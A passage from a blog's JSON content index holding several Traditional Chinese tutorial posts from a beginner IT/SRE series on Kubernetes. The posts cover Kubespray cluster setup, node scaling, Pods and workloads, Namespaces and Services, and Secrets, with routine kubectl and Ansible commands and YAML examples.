kubernetes.io/tls。\nkubernetes.io/tls 使用的方式如下：\nkubectl create secret tls my-tls-secret \\ --cert=path/to/cert/file \\ --key=path/to/key/file # 命名為 my-tls-secret # cert 放公鑰的路徑 # key 放私鑰的路徑 需要注意的是 TLS Key 他只有吃兩個檔案，letsencrypt 的 certbot 會有四個檔案：\ncert.pem：本伺服器的公鑰 chain.pem：中繼憑證 fullchain.pem：中繼憑證 + 本伺服器的公鑰，也就是完整的驗證公鑰 privkey.pem：本伺服器的私鑰 在這裡公鑰跟私鑰只需要擺上 fullchain.pem 跟 privkey.pem 即可，公鑰如果擺上 cert.pem 會造成驗證一半的問題，瀏覽器可能會是好的，但 curl 可能結果會是驗證錯誤喔！\n雖然看似 Secret 機密，但其實你只要嘗試編輯看看：\nkubectl edit secret nginx-secret 如果對內容覺得很眼熟，你的直覺沒猜錯，它使用的是 Base64 編碼，並不是加密，只要有 K8s 的 etcd 權限也是可以看的到。\n想要讓你的資料真的連 etcd 都看不到，也可以嘗試啟用靜態加密，連結我就給在這裡，有需要的可以啟用它去閱讀。\nhttps://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/\n記得把 nginx-secret 刪除掉：\nkubectl describe secret nginx-secret 下一篇我們就要來嘗試用這幾天所教的 K8s 來架設跟測試服務啦！\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\nSource # https://www.hwchiu.com/kubernetes-storage-ii.html https://ithelp.ithome.com.tw/articles/10193550 https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/ https://kubernetes.io/docs/concepts/configuration/secret/ https://blog.miniasp.com/post/2021/02/11/Create-SSL-TLS-certificates-from-LetsEncrypt-using-Certbot ","date":"2022/09/25","externalUrl":null,"permalink":"/posts/it2022-day10/","section":"Posts","summary":"本篇大綱 # 這篇將會介紹在 K8s 組出服務必備的第三元素：Storage \u0026 ConfigMap \u0026 Secret。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 10 Kubernetes - Storage \u0026 ConfigMap \u0026 Secret","type":"posts"},{"content":"","date":"2022/09/25","externalUrl":null,"permalink":"/tags/configmap/","section":"Tags","summary":"","title":"Configmap","type":"tags"},{"content":"","date":"2022/09/25","externalUrl":null,"permalink":"/tags/secret/","section":"Tags","summary":"","title":"Secret","type":"tags"},{"content":"","date":"2022/09/25","externalUrl":null,"permalink":"/tags/storage/","section":"Tags","summary":"","title":"Storage","type":"tags"},{"content":"本篇大綱 # 這篇將會介紹在 K8s 組出服務必備的第二元素：Namespace \u0026amp; Service。\n內文 # 上個文章我們講到 Pod 跟 Workload， 這裡要來說很重要的 Namespace 跟 Service，如果想要在同個 Cluster 分出不同用的 Pod 是不是只能更換名字？或者尋找 Pod 是不是只能呼叫 Cluster 內部的 IP？今天會帶你一併理解。\nNamespace # Namespace（命名空間）可以把同一個 Cluster 裡面的資源，分割成不同的組別，像是切割 Development、Staging、Production 這三個命名空間。\n示範怎麼新增刪除 Namespace：\nkubectl create namespace staging # 新增 Namespace 名為 staging kubectl delete namespace staging # 刪除 Namespace 名為 staging # 請避免以 kube- 為開頭的 Namespace，那是 K8s 系統 Namespace 保留。 kubectl get namespace # 查詢有哪些 Namespace kubectl 本身也可以臨時指定 Namespace，只要在命令中間加 -n \u0026lt;NAMESPACE_NAME\u0026gt; 就可以了，示範命令如下：\nkubectl -n staging apply -f pod.yaml kubectl -n staging apply -f nginx-deploy.yaml 前一章節所講的 Pod、Workload 都可以使用在 Namespace 上。\n注意：但有些 Resource 是不吃 Namespace，像是下一篇要說的 Persistent Volume 還有 StorageClass、Node 這些在 Cluster 層級就無法用 Namespace 區隔，就算在 kubectl 可以打上 namespace 名稱，但是 API 呼叫會忽略這個變數。\n那我們建立好 Namespace 就可以在 YAML 當中實作了：\n# 1. Save as `nginx-pod-staging.yaml` # 2. In bash, `kubectl apply -f nginx-pod-staging.yaml` # 2.1. `kubectl apply -f nginx-pod-staging.yaml -n \u0026lt;OTHER_NAMESPACE\u0026gt;` will be denied. # 3. If you want to remove, `kubectl delete -f nginx-pod-staging.yaml` apiVersion: v1 kind: Pod metadata: name: nginx-in-staging namespace: staging # Pod 加入到 staging 的 namespace spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 然後我們要再用 kubectl get pod 檢查 Pod 有沒有建立成功：\n系統提示訊息：No resources found in default namespace.，因為 Pod 確實不在 default 這個 Namespace 下，會在名為 staging 的 Namespace 下。\n所以命令應該是這樣寫的：kubectl get pod -n staging\n如果遇到 Pod 給的 YAML 跟 kubectl 打的 Namespace 有衝突怎麼辦？遇到這種矛盾情況，系統會直接拒絕你的要求。\nubuntu@bastion-host:~$ kubectl apply -f nginx-pod-staging.yaml -n OTHER_NAMESPACE error: the namespace from the provided object \u0026#34;staging\u0026#34; does not match the namespace \u0026#34;OTHER_NAMESPACE\u0026#34;. You must pass \u0026#39;--namespace=staging\u0026#39; to perform this operation. 基本上後面開始介紹 Helm 以後，都會使用到 Namespace，所以要注意一下自己的 Namespace 喔！\nService # Service 可以讓你把多個 Pod 跑的應用程式變成網路服務，不需要修改應用程式就可以做負載平衡。\n為什麼會需要 Service？首先，Pod 不是一直都會存在，像是 Deployment 可以自由直接建立或刪除，每個 Pod 都會有 K8s 內網的 IP，這個 IP 也是會一直變動的。\n這樣就會有一些問題：如果今天有前端跟後端的 Pod，前端想要找後端的 Pod，但是他會一直變動，那 Pod 要如何尋找呢？\n這時候就可以靠 Service 來幫你達成了！可以先來看看他的基礎範例：\n# 1. Save as `other-svc.yaml` # 2. In bash, `kubectl apply -f other-svc.yaml` # 3. If you want to remove, `kubectl delete -f other-svc.yaml` apiVersion: v1 kind: Service metadata: name: other-svc # Service 的名字 spec: type: ClusterIP selector: app: other # 對應 Pod 的標籤 ports: - protocol: TCP # 可以選擇 TCP 跟 UDP port: 80 # 對 service 要 expose 的 port targetPort: 9376 # 對應 Pod 的 containerPort .spec.selector 就是要對應的 Pod 選擇條件器，也就是符合條件的就會被對應，以上面範例來說，Pod 選擇就會對應有 app=other 這個標籤。\n根據我過往的經驗，有些人會搞不太懂 .spec.ports[].port 跟 .spec.ports[].targetPort 之間的差異：\n.spec.ports[].port 代表的是這個 Service 要對外 expose 的 port .spec.ports[].targetPort 會向下尋找 Pod 對應的 containerPort 其實就像是這張圖：\n.spec.type 有四種型態：\nClusterIP：預設方式，只有在 Cluster 內部才能存取。 NodePort：直接在 Worker node 上指定 Port 對應進去，也就是 Port 30000~32767。 LoadBalancer：對外開負載平衡器，這個通常要在公有雲才能做到，私有雲透過一些方式也可以達成，MetalLB 可以做到這件事，後面文章會提到。 ExternalName：這個我實際上很少用到，但是看官網說明是有點類似 CNAME 的功能。 為了方便 Demo，我這裡給出 NodePort + Deployment 部署：\n# 1. Save as `nginx-nodeport.yaml` # 2. In bash, `kubectl apply -f nginx-nodeport.yaml` # 3. If you want to remove, `kubectl delete -f nginx-nodeport.yaml` apiVersion: v1 kind: Service metadata: name: nginx-nodeport # Service 的名字 spec: type: NodePort selector: app: nginx # 對應 Pod 的標籤 ports: - protocol: TCP # 可以選擇 TCP 跟 UDP port: 80 # 對 service 要 expose 的 port targetPort: 80 # 對應 Pod 的 containerPort nodePort: 31234 # Worker node 的 Port 31234 會對應到此服務 # 1. Save as `nginx-deploy.yaml` # 2. In bash, `kubectl apply -f nginx-deploy.yaml` # 3. If you want to remove, `kubectl delete -f nginx-deploy.yaml` apiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment labels: app: nginx spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 打上這些命令來測試\nkubectl apply -f nginx-deploy.yaml kubectl apply -f nginx-nodeport.yaml 那我們就試試 curl http://192.168.200.102:31234\n只要回傳資料顯示 Nginx 網頁就代表服務取得成功！\n那我們就把這次實驗刪掉：\nkubectl delete -f nginx-deploy.yaml kubectl delete -f nginx-nodeport.yaml 我們證明 Service 有對應到 Pod，但要怎麼證明 Service 有對應到哪個 Pod 呢？這個我將會在後面兩篇文章做個 Demo。\n下一遍我們將來介紹如何儲存資料、設定檔和機密資料。\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\nSource # https://kubernetes.io/docs/concepts/overview/working-with-objects/namespaces/ https://kubernetes.io/docs/concepts/services-networking/service/ ","date":"2022/09/24","externalUrl":null,"permalink":"/posts/it2022-day09/","section":"Posts","summary":"本篇大綱 # 這篇將會介紹在 K8s 組出服務必備的第二元素：Namespace \u0026 Service。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 09 Kubernetes - Namespace \u0026 Service","type":"posts"},{"content":"","date":"2022/09/24","externalUrl":null,"permalink":"/tags/namespace/","section":"Tags","summary":"","title":"Namespace","type":"tags"},{"content":"本篇大綱 # 這篇將會開始介紹在 K8s 組出服務必備的元素，第一篇來講的是 Pod \u0026amp; Workloads。\n內文 # 接下來的三篇內，會簡介每個 Kubernetes 裡面組出基礎服務所需的元件。\nPod # Pod 是 K8s 的最小單位，每個 Pod 內部可能會有一個或多個 Container，而一個 Pod 會對應到一個應用程式，同一個 Pod 中的 Containers 則會共享相同的網路資源（如：IP地址、主機名稱等）。\n這個是 Pod 的基礎設定：\n# 1. Save as `nginx-pod.yaml` # 2. In bash, `kubectl apply -f nginx-pod.yaml` # 3. If you want to remove, `kubectl delete -f nginx-pod.yaml` apiVersion: v1 kind: Pod metadata: name: nginx spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 想要實作可以看上面的三行敘述：\n這上面內容儲存為 nginx-pod.yaml 用 kubectl apply -f nginx-pod.yaml 套用進 K8s 裡面 如果想要移除此 Pod，輸入 kubectl delete -f nginx-pod.yaml 就可以讓 K8s 刪掉 通常實際在部署的時候也不會用 Pod，而是會用下面的那幾種 Workloads 來做，這邊只是先說 K8s 的基礎單位，之後要做 Debug 的時候優先都從 Pod 找起。\nReplicaSet \u0026amp; Deployment # ReplicaSet 跟 Deployment 可以合併介紹，Deployment 也是基於 ReplicaSet 實作而成的。\nReplicaSet 就是一組重複多個 Pod 組合而成，會有這樣的需求是為了要分攤運算\n我們來用一張圖解釋\n今天上述的圖看起來架構沒有問題，但如果流量突然提高，只有一個 Pod 其實就很容易掛掉，就算你給單個的 Pod 資源較多，但回應速度還是會很慢，因此我們就會需要 ReplicaSet 來分攤流量。\nDeployment 又是為了什麼而產生的呢？因為 ReplicaSet 不能做 Image 替換，Deployment 可以，這樣就可以做到 Rolling update，可以讓服務不斷線的情況下滾動升級。\nDeployment 的基礎架構如下：\n# 1. Save as `nginx-deploy.yaml` # 2. In bash, `kubectl apply -f nginx-deploy.yaml` # 3. If you want to remove, `kubectl delete -f nginx-deploy.yaml` apiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment labels: app: nginx spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 這裡要注意的是，.spec.selector.matchLabels 必須跟 .spec.template.metadata.labels 相同，不然會被系統 Reject，雖然不一定要跟原本 Deployment .metadata.labels 相同，但方便起見還是設定相同。\nStatefulSet # 大部分的應用程式都是 Stateless，但如果需要有狀態管理，StatefulSet 會是比較適用的情境。\n這樣說感覺有點抽象，但可以用以下資訊來判斷是否要用到 StatefulSet：\n需要穩定 \u0026amp; 唯一的網路識別（Pod reschedule 後的 Pod name \u0026amp; hostname 都不會變動） 需要穩定的儲存（Pod reschedule 還是能取得相同資料，通常用 Persistent Volume Claim 解決就好，PVC 將會在 Day 10 會介紹） 部署或 Scale 上需要有順序產生（.spec.podManagementPolicy 預設 OrderedReady，也可以改成 Parallel 同時產生） 依照以上這些判斷，其實可以知道，如果想要用 Pod 來組 MongoDB Cluster 或 MySQL Cluster，Deployment 是不適合套用這個情境，StatefulSet 會是較佳的解決方式。\n因為這裡還沒有介紹 PVC，這裡會寫沒有 .spec.volumeClaimTemplates 的版本\n# 1. Save as `nginx-sts.yaml` # 2. In bash, `kubectl apply -f nginx-sts.yaml` # 3. If you want to remove, `kubectl delete -f nginx-sts.yaml` apiVersion: apps/v1 kind: StatefulSet metadata: name: \u0026#34;nginx-sts\u0026#34; spec: selector: matchLabels: app: \u0026#34;nginx-sts\u0026#34; serviceName: \u0026#34;nginx-sts\u0026#34; replicas: 3 template: metadata: labels: app: \u0026#34;nginx-sts\u0026#34; spec: terminationGracePeriodSeconds: 10 containers: - name: nginx image: k8s.gcr.io/nginx-slim:0.8 ports: - containerPort: 80 name: web kubectl apply 進去以後，系統會依照編號產生 Pod。\nDaemonSet # DaemonSet 會把 Pod 部署在每一個節點上，也就是在後台跑的程式，通常會應用在需要監控的情形，像是 Node metric、Logs collections。\nDaemonSet 的基礎範例如下：\n# 1. Save as `nginx-ds.yaml` # 2. In bash, `kubectl apply -f nginx-ds.yaml` # 3. If you want to remove, `kubectl delete -f nginx-ds.yaml` apiVersion: apps/v1 kind: DaemonSet metadata: name: nginx-daemonset labels: app: nginx-daemonset spec: selector: matchLabels: app: nginx-daemonset template: metadata: labels: app: nginx-daemonset spec: tolerations: # 預設 DaemonSet 是不會把 Pod 放到 Control plane (Master node) 上 # 加了 tolerations 這幾行設定就可以放到 Control plane 上面了 - key: node-role.kubernetes.io/control-plane operator: Exists effect: NoSchedule - key: node-role.kubernetes.io/master operator: Exists effect: NoSchedule containers: - name: nginx-daemonset image: nginx:alpine resources: limits: cpu: 250m memory: 512Mi requests: cpu: 250m memory: 512Mi Job \u0026amp; CronJob # Job 就代表只有一次性的工作，我目前看過 Job 會出現的情形就是 GitLab 升級檢查的時候，會做 Pre-check 的工作，他們有規定版本升級步驟，為了確保升級、Migrate 可以順利進行。\n# 1. Save as `pi-job.yaml` # 2. In bash, `kubectl apply -f pi-job.yaml` # 3. If you want to remove, `kubectl delete -f pi-job.yaml` apiVersion: batch/v1 kind: Job metadata: name: pi-with-ttl spec: ttlSecondsAfterFinished: 100 # 100 秒以後，此 Pod 將會被自動清除，沒有設定就不會清除 template: spec: containers: - name: pi image: perl:5.34.0 command: [\u0026#34;perl\u0026#34;, \u0026#34;-Mbignum=bpi\u0026#34;, \u0026#34;-wle\u0026#34;, \u0026#34;print bpi(2000)\u0026#34;] restartPolicy: Never CronJob 就是定時工作，如果 Application 本身會產生 Caches 需要清理，或者每天檢查更新版本，這些都可以放在 CronJob 進行。\n如果想要再找其他的相關範例，可以去 K8s 官方文件來去閱讀。\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\nSource # https://www.metaage.com.tw/news/technology/293 https://blog.m157q.tw/posts/2017/08/04/gcpug-tw-28/ https://stackoverflow.com/questions/69448131/kubernetes-whats-the-difference-between-deployment-and-replica-set https://serverfault.com/questions/917355/what-is-spec-selector-matchlabels-used-for-while-creating-a-deployment https://support.huaweicloud.com/basics-cce/kubernetes_0017.html https://godleon.github.io/blog/Kubernetes/k8s-StatefulSets-Overview/ https://kubernetes.io/docs/concepts/workloads/controllers/job/ ","date":"2022/09/23","externalUrl":null,"permalink":"/posts/it2022-day08/","section":"Posts","summary":"本篇大綱 # 這篇將會開始介紹在 K8s 組出服務必備的元素，第一篇來講的是 Pod \u0026 Workloads。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 08 Kubernetes - Pod \u0026 Workloads","type":"posts"},{"content":"","date":"2022/09/23","externalUrl":null,"permalink":"/tags/pod/","section":"Tags","summary":"","title":"Pod","type":"tags"},{"content":"","date":"2022/09/23","externalUrl":null,"permalink":"/tags/workloads/","section":"Tags","summary":"","title":"Workloads","type":"tags"},{"content":"本篇大綱 # 這篇文章是要講述前面我們利用 Kubespray 建立了自己的 Cluster，但是還沒有使用到，但如果需要加入或減少其他 Node 該怎麼辦呢？Kubespray 也早就想好這部分了！\n內文 # 今天假設資源不夠了，需要新增節點，該怎麼辦呢？Kubespray 也寫好 Script 可以幫你部署了。\n新增節點 # 這裡我們借用 gitlab-runner 來示範新增節點的部分\n首先將 gitlab-runner 加入到 inventory/mycluster/inventory.ini 裡面\n[all] k8s-m0 ansible_host=192.168.200.101 ansible_user=ubuntu k8s-n0 ansible_host=192.168.200.102 ansible_user=ubuntu k8s-n1 ansible_host=192.168.200.103 ansible_user=ubuntu gitlab-runner ansible_host=192.168.200.104 ansible_user=ubuntu [kube_control_plane] k8s-m0 [etcd] k8s-m0 [kube_node] k8s-n0 k8s-n1 gitlab-runner [calico_rr] [k8s_cluster:children] kube_control_plane kube_node calico_rr 如果命令列前面沒有 (kubespray-venv) 記得再啟動一次\nubuntu@bastion-host:~$ source kubespray-venv/bin/activate 新增好了以後，最後把它給 scale.yml。\n(kubespray-venv) ubuntu@bastion-host:~$ ansible-playbook -i inventory/mycluster/inventory.ini --private-key=../private.key --become --become-user=root scale.yml 跑完順利基本上沒有 Error。\n這樣就新增完成了。\n確認一下 Node 有進去：\n(kubespray-venv) ubuntu@bastion-host:~$ kubectl get node 刪除節點 # 刪除節點也是很容易，但要刪除 Worker Node 之前，最好還是先手動確認 Pod 是不是已經從該節點清除掉了，不然移除了就沒辦法恢復喔！（如何手動確認 Pod 清除將會再寫一篇 Cheatsheet 做整理，這裡方便我們還是用命令直接刪除。）\n(kubespray-venv) ubuntu@bastion-host:~$ ansible-playbook -i inventory/mycluster/inventory.ini --private-key=../private.key --become --become-user=root remove-node.yml --extra-vars \u0026#34;node=gitlab-runner\u0026#34; 如果該節點已經連不上了，請再新增 --extra-vars reset_nodes=false，如果是某些節點連不上，就個別在 inventory/mycluster/inventory.ini 加入 reset_nodes=false 就好。\n打上 yes 即可刪除。\n確認一下 Node 已經刪除：\n(kubespray-venv) ubuntu@bastion-host:~$ kubectl get node 重置 # 如果有天想把 Cluster 刪除，那就是直接 reset 就好了。\nansible-playbook -i inventory/mycluster/inventory.ini --private-key=../private.key --become --become-user=root reset.yml 打上 yes 即可刪除。\n升級 Cluster # 這裡我反而沒有著墨太多，雖然 Kubespray 有提供 Upgrade 方式，但對於 K8s 升級其實有多要注意的事情，像是 API 更動，我的建議會是備份當前的設定 YAML，像是 Velero 這類的工具，建立測試用的 Cluster 再 Loading 進去，確認升級流程沒有問題再做會比較好。\n升級 VM 作業系統的話，可以透過上面所述加入刪除節點的方式，將每一台升級完成。\n今天的內容就針對一些比較常用的 Kubespray 操作做說明，下一篇就要來介紹 K8s 每個 Workloads 吧！\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\n","date":"2022/09/22","externalUrl":null,"permalink":"/posts/it2022-day07/","section":"Posts","summary":"本篇大綱 # 這篇文章是要講述前面我們利用 Kubespray 建立了自己的 Cluster，但是還沒有使用到，但如果需要加入或減少其他 Node 該怎麼辦呢？Kubespray 也早就想好這部分了！\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 07 使用 Kubespray 建立自己的 K8S（二）","type":"posts"},{"content":"本篇大綱 # 這篇文章是要講述自建 K8s 了，如果不想採用 kubeadm 方式，可以採用 Kubespray 自動化安裝，實務上來說有多方測試調教會較穩定，也比較方便。\n內文 # Kubespray 我這裡採用當下最新版本 v2.19.1，需要先在系統內安裝 Ansible，Ansible 需要 Python 才能運作，我們可以看看文件來查看相容性問題。\nhttps://github.com/kubernetes-sigs/kubespray/blob/v2.19.1/docs/ansible.md\nVM 上的版本預先裝好的是 Python 3.10.4 的版本，依照官方教學文件建議裝上 Ansible 2.12 版本，並且使用 Python Virtual Environment。\n這裡我們先裝 Python Virtual Environment\nubuntu@bastion-host:~$ sudo apt update ubuntu@bastion-host:~$ sudo apt install python3-virtualenv 那這樣我們就可以把 Kubespray 專案抓下來了，複製下列命令就會抓特定版本。\nubuntu@bastion-host:~$ git clone --depth 1 --branch v2.19.1 https://github.com/kubernetes-sigs/kubespray.git 接下來就開始安裝 Kubespray 相關環境：\nVENVDIR=kubespray-venv # 指定 Python Virtualenv 的位置 KUBESPRAYDIR=kubespray # 指定 Kubespray 資料夾 ANSIBLE_VERSION=2.12 # 指定 Ansible 版本 virtualenv --python=$(which python3) $VENVDIR # 建立 Python Virtualenv source $VENVDIR/bin/activate # 啟動 Python Virtualenv cd $KUBESPRAYDIR # 進入資料夾 pip install -U -r requirements-$ANSIBLE_VERSION.txt # 安裝所需套件 test -f requirements-$ANSIBLE_VERSION.yml \u0026amp;\u0026amp; \\ ansible-galaxy role install -r requirements-$ANSIBLE_VERSION.yml \u0026amp;\u0026amp; \\ ansible-galaxy collection -r requirements-$ANSIBLE_VERSION.yml 這邊都會是順利進行的，然後就會看到前面多了 (kubespray-venv) 就代表已經啟動 Python Virtualenv 了。\n接下來就來複製 Inventory：\ncp -rfp inventory/sample inventory/mycluster 複製完後，編輯 inventory/mycluster/inventory.ini，那檔案就是我們的 Server 的設定相關資訊。\n# ## Configure \u0026#39;ip\u0026#39; variable to bind kubernetes services on a # ## different ip than the default iface # ## We should set etcd_member_name for etcd cluster. The node that is not a etcd member do not need to set the value, or can set the empty string value. [all] # node1 ansible_host=95.54.0.12 # ip=10.3.0.1 etcd_member_name=etcd1 # node2 ansible_host=95.54.0.13 # ip=10.3.0.2 etcd_member_name=etcd2 # node3 ansible_host=95.54.0.14 # ip=10.3.0.3 etcd_member_name=etcd3 # node4 ansible_host=95.54.0.15 # ip=10.3.0.4 etcd_member_name=etcd4 # node5 ansible_host=95.54.0.16 # ip=10.3.0.5 etcd_member_name=etcd5 # node6 ansible_host=95.54.0.17 # ip=10.3.0.6 etcd_member_name=etcd6 # ## configure a bastion host if your nodes are not directly reachable # [bastion] # bastion ansible_host=x.x.x.x ansible_user=some_user [kube_control_plane] # node1 # node2 # node3 [etcd] # node1 # node2 # node3 [kube_node] # node2 # node3 # node4 # node5 # node6 [calico_rr] [k8s_cluster:children] kube_control_plane kube_node calico_rr 這些相關參數設定可以在 https://github.com/kubernetes-sigs/kubespray/blob/v2.19.1/docs/ansible.md#inventory 這裡找到。\n基本上把所有被註解的相關參數都刪除掉就好，[bastion] 如果你的 Node 是無法直接連線就需要設定，有需要的就自行設定，因為這裡都是直接連線到 bastion-host 做操作，因此不需要。\n那就依照 Ansible 給的語法把 Host 資訊填寫上去，[all] 填寫所有的主機內容、IP、登入 Username。\n[all] # \u0026lt;主機名字\u0026gt; ansible_host=\u0026lt;IP\u0026gt; ansible_user=\u0026lt;USERNAME\u0026gt; k8s-m0 ansible_host=192.168.200.101 ansible_user=ubuntu k8s-n0 ansible_host=192.168.200.102 ansible_user=ubuntu k8s-n1 ansible_host=192.168.200.103 ansible_user=ubuntu [kube_control_plane] # Master node k8s-m0 [etcd] # etcd 的位置，我也還是選 Master node k8s-m0 [kube_node] # Worker node k8s-n0 k8s-n1 [calico_rr] [k8s_cluster:children] kube_control_plane kube_node calico_rr 參數基本上只要照預設也是可以跑，需要調參數就自行去翻 Kubespray 文件。\n那我們就改兩個地方\ninventory/mycluster/group_vars/k8s_cluster/k8s-cluster.yml 的 cluster_name，改成 k8s.yjerry.tw（名字自訂）。 inventory/mycluster/group_vars/all/all.yml 的 Line 20 解除註解 loadbalancer_apiserver_localhost 設定為 false，因為我們沒有多個 Master node，因此不需要 Load Balancer API Server。 最後下此命令安裝：\n# ansible-playbook -i \u0026lt;INVENTORY_FILE\u0026gt; --private-key=\u0026lt;PRIVATE_KEY\u0026gt; --become --become-user=root cluster.yml ansible-playbook -i inventory/mycluster/inventory.ini --private-key=~/private.key --become --become-user=root cluster.yml 安裝完以後會顯示這樣。\n我們已經安裝好了，但是需要拿它裡面的 Token 才可以存取，Token 會放在 Master node 的 /etc/kubernetes/admin.conf。\n# ssh -i ~/private.key ubuntu@192.168.200.101 ubuntu@k8s-m0:~$ sudo cp /etc/kubernetes/admin.conf ~/ ubuntu@k8s-m0:~$ sudo chown ubuntu:ubuntu ~/admin.conf ubuntu@k8s-m0:~$ mkdir -p .kube ubuntu@k8s-m0:~$ mv ~/admin.conf ~/.kube/config 嘗試用 kubectl 存取節點\nubuntu@k8s-m0:~$ kubectl get node ubuntu@k8s-m0:~$ kubectl get pod -A 那接下來我們就把 scp 把 config 檔案下載出來，回到 bastion-host。\n(kubespray-venv) ubuntu@bastion-host:~$ mkdir -p ~/.kube (kubespray-venv) ubuntu@bastion-host:~$ scp -i ~/private.key ubuntu@192.168.200.101:~/.kube/config ~/.kube/config 開啟編輯，把裡面的 127.0.0.1 改為 192.168.200.101。\n但是因為我們還沒在 bastion-host 裝上 kubectl，去官方網站下載，因為 Cluster 版本為 1.23.7，下載的 kubectl 也是要在 1.23.7 (一個 minor version 以內是可以相容的，裝上 1.22 或 1.24 都可以)\ncurl -LO \u0026#34;https://dl.k8s.io/release/v1.23.7/bin/linux/amd64/kubectl\u0026#34; curl -LO \u0026#34;https://dl.k8s.io/v1.23.7/bin/linux/amd64/kubectl.sha256\u0026#34; echo \u0026#34;$(cat kubectl.sha256) kubectl\u0026#34; | sha256sum --check # Check OK 就可以安裝 sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl # 刪除安裝的殘餘檔案 rm kubectl* bastion-host 再執行一次 kubectl get node\nkubectl get node 這樣就可以在 bastion-host 控制 Kubernetes cluster 了。\n到這裡為止我們已經建好 Cluster，但是如果想要擴充資源該怎麼辦呢？Kubespray 也可以做到，明天就接續講 Kubespray 加入刪除節點。\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\n","date":"2022/09/21","externalUrl":null,"permalink":"/posts/it2022-day06/","section":"Posts","summary":"本篇大綱 # 這篇文章是要講述自建 K8s 了，如果不想採用 kubeadm 方式，可以採用 Kubespray 自動化安裝，實務上來說有多方測試調教會較穩定，也比較方便。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 06 使用 Kubespray 建立自己的 K8S（一）","type":"posts"},{"content":"本篇大綱 # 這篇文章是要講 Kubernetes 的簡介，雖然我覺得這主題已經講到爛掉，但還是給新手來說我還是會重講。\n內文 # Kubernetes 簡稱為 K8s，是用於自動部署、擴充和管理「容器化應用程式」的開源系統。以自動化方式提供容器調度管理，能提升作業可靠性，並減少分配至日常運作的時間和資源。\n接觸 K8s 之前，很多人最常玩的應該就是 Docker，Docker 也是個容器管理，但他的缺點如下：\nFailover：Docker 不是由多台主機組合而成，一旦遇到單點損壞，就會導致所有服務皆下線。這些服務都還很少就算了，應用在 Production 上就會有很多服務需要去顧慮，大型服務就會有很多 Container 組合而成。 Scale up \u0026amp; down：資源限制只能一次開多台 Container，他沒辦法像 K8s 可以做資源調度，以支出成本來說，會希望在流量高峰的時候再打開多個 Container。 Rolling Update：有想做 A/B Test 的情形，Docker 設定會比較麻煩，但 K8s 可以直接透過 Services 做設定轉接。 以上所說的這些，Kubernetes 都不必擔心，組合而成的 Cluster 只要節點、資源夠多，單節點損壞，別台節點的資源就會調度，把上面損壞的容器分散到各節點上分配。部署方式也可以隨心所欲去分配，Docker 無法做到的 Rolling Update，K8s 都可以做到。\n筆者第一次接觸到 K8s 的相關服務時，我的感覺是他把很多東西切更細，像是 Container 跟 Service 之間的關係，沒有像 Docker 就是單服務單個 Container，而是每個 Service 下都會有許多 Container，但又不會覺得太瑣碎，可以依照自己的需求做修改。\n總之，優點如下：\n部署方便：因為設計較模組化，可以自由使用、搭配。 資源分配彈性：你可以自己設定 CPU \u0026amp; Memory 的資源，也可以交給 K8s 幫忙管理。 High Availiability：設定好 Cluster，調整好參數把服務放上去，K8s 就會依照你的需求去分配資源到各節點，隨時做好 Failover 的準備。 開源、社群活耀高：K8s 的核心架構是開源（公有雲可能會有自己修改的版本），社群活耀度也是很高，上次發 PR 修改文件當天就 Merge 了。 K8s 有沒有缺點，其實還是有，必須要理解他的架構組成，還有虛擬化的情況，很吃對於底層運作的理解，也不是說每個轉換 Docker 後就能平安運作，對於 K8s 完全了解也是需要花上不少時間。\n如果想要解決上面所說問題，K8s 可以說是做得還不錯，可以減少人力成本跟維護成本，權衡之下還是可以考慮引入 K8s。\n下一篇我們就來介紹怎麼組合 Kubernetes Cluster 吧！\n本系列內容也會同步貼到我的 iT 邦幫忙 https://ithelp.ithome.com.tw/users/20112934 歡迎來點一下追蹤，那我們就下一篇文章見啦！\nSource # https://cloud.google.com/learn/what-is-kubernetes?hl=zh-tw https://zh.wikipedia.org/zh-tw/Kubernetes Docker 也是個容器管理 ","date":"2022/09/20","externalUrl":null,"permalink":"/posts/it2022-day05/","section":"Posts","summary":"本篇大綱 # 這篇文章是要講 Kubernetes 的簡介，雖然我覺得這主題已經講到爛掉，但還是給新手來說我還是會重講。\n","title":"《關於我怎麼把一年內學到的新手 IT/SRE 濃縮到 30 天筆記這檔事》 Day 05 Kubernetes - 簡介","type":"posts"},{"content":"本篇大綱 # 這篇文章是要架設 Cloud Native Infra Labs 的第三部分，接續前面設定好的 Key pair，要來設定 VM Instance，還有一些小 Bug。\n內文 # 接下來我們就來設定 VM 啦！\n設定雲實例 VM # 回顧一下這次架設 Kubernetes Cluster，分配如下：\nServer Name CPU Ram Private IP Notes bastion-host 2 2G 192.168.200.100/24 Public IP, Control Center k8s-m0 4 4G 192.168.200.101/24 K8S Master node k8s-n0 4 4G 192.168.200.102/24 K8S Worker node 0 k8s-n1 4 4G 